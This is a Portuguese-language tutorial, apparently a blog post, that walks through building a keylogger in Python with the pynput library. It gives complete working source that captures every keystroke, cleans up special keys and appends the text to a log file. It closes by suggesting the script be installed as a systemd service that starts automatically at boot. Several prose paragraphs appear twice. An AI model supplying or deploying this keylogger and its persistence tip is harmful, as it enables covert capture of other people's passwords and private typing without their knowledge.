Como criar um keylogger em Python
Neste artigo aprenderemos como criar um keylogger simples usando Python. O código foi testado em sistema operacional GNU/Linux, mas acredito que funcione nas demais plataformas.
Parte 2: Incrementando o código
O primeiro passo na incrementação de nosso log será remover a delimitação por aspas simples dos caracteres, para isso vamos adicionar a seguinte linha ao código:
Em seguida precisamos tratar algumas teclas especiais, como por exemplo, quando eu digitar Enter, ao invés de aparecer Key.enter no log, quero uma quebra de linha.
Também não me importa saber se o usuário pressionou alguma das teclas Shift, Esc, Caps Lock ou Alt por exemplo, pois quando ele digita uma letra usando alguma combinação de shift ou caps lock, no log já aparece a letra em caixa alta.
Também vou querer traduzir a tecla Key.space para um espaço em branco.
Para resolver estes problemas criarei um dicionário onde as chaves serão as teclas e o valor a tradução da tecla no log. Você pode incrementar esse dicionário de acordo com sua preferência/necessidade:
Agora precisamos criar um laço de repetição para traduzir as teclas que constam em nosso dicionário:
Segue o código final de nosso projeto:
Reexecute o script e verifique o arquivo de log novamente, agora sim temos um log decente:
tail -f /home/fabio/python/keylogger/log.txt
O código deste script, assim como futuras atualizações está disponível em meu repositório gitHub:
Como executar o código fica a seu critério. Você pode criar um serviço no systemd e fazer com que ele inicie automaticamente durante o boot e por aí vai.
keydata = keydata.replace("'", "")
Em seguida precisamos tratar algumas teclas especiais, como por exemplo, quando eu digitar Enter, ao invés de aparecer Key.enter no log, quero uma quebra de linha.
Também não me importa saber se o usuário pressionou alguma das teclas Shift, Esc, Caps Lock ou Alt por exemplo, pois quando ele digita uma letra usando alguma combinação de shift ou caps lock, no log já aparece a letra em caixa alta.
Também vou querer traduzir a tecla Key.space para um espaço em branco.
Para resolver estes problemas criarei um dicionário onde as chaves serão as teclas e o valor a tradução da tecla no log. Você pode incrementar esse dicionário de acordo com sua preferência/necessidade:
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
Agora precisamos criar um laço de repetição para traduzir as teclas que constam em nosso dicionário:
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
Segue o código final de nosso projeto:
#em pynput, importar o método Listener do teclado
from pynput.keyboard import Listener
#definir a localização do arquivo de log
logFile = "/home/fabio/python/keylogger/log.txt"
def writeLog(key):
'''
Esta função será responsável por receber a tecla pressionada
via Listener e escrever no arquivo de log
'''
#dicionário com as teclas a serem traduzidas
translate_keys = {
"Key.space": " ",
"Key.shift_r": "",
"Key.shift_l": "",
"Key.enter": "\n",
"Key.alt": "",
"Key.esc": "",
"Key.cmd": "",
"Key.caps_lock": "",
}
#converter a tecla pressionada para string
keydata = str(key)
#remover as asplas simples que delimitam os caracteres
keydata = keydata.replace("'", "")
for key in translate_keys:
#key recebe a chave do dicionário translate_keys
#substituir a chave (key) pelo seu valor (translate_keys[key])
keydata = keydata.replace(key, translate_keys[key])
#abrir o arquivo de log no modo append
with open(logFile, "a") as f:
f.write(keydata)
#abrir o Listener do teclado e escutar o evento on_press
#quando o evento on_press ocorrer, chamar a função writeLog
with Listener(on_press=writeLog) as l:
l.join()
Reexecute o script e verifique o arquivo de log novamente, agora sim temos um log decente:
tail -f /home/fabio/python/keylogger/log.txt
Viva o Linux!
O código deste script, assim como futuras atualizações está disponível em meu repositório gitHub:
Como executar o código fica a seu critério. Você pode criar um serviço no systemd e fazer com que ele inicie automaticamente durante o boot e por aí vai.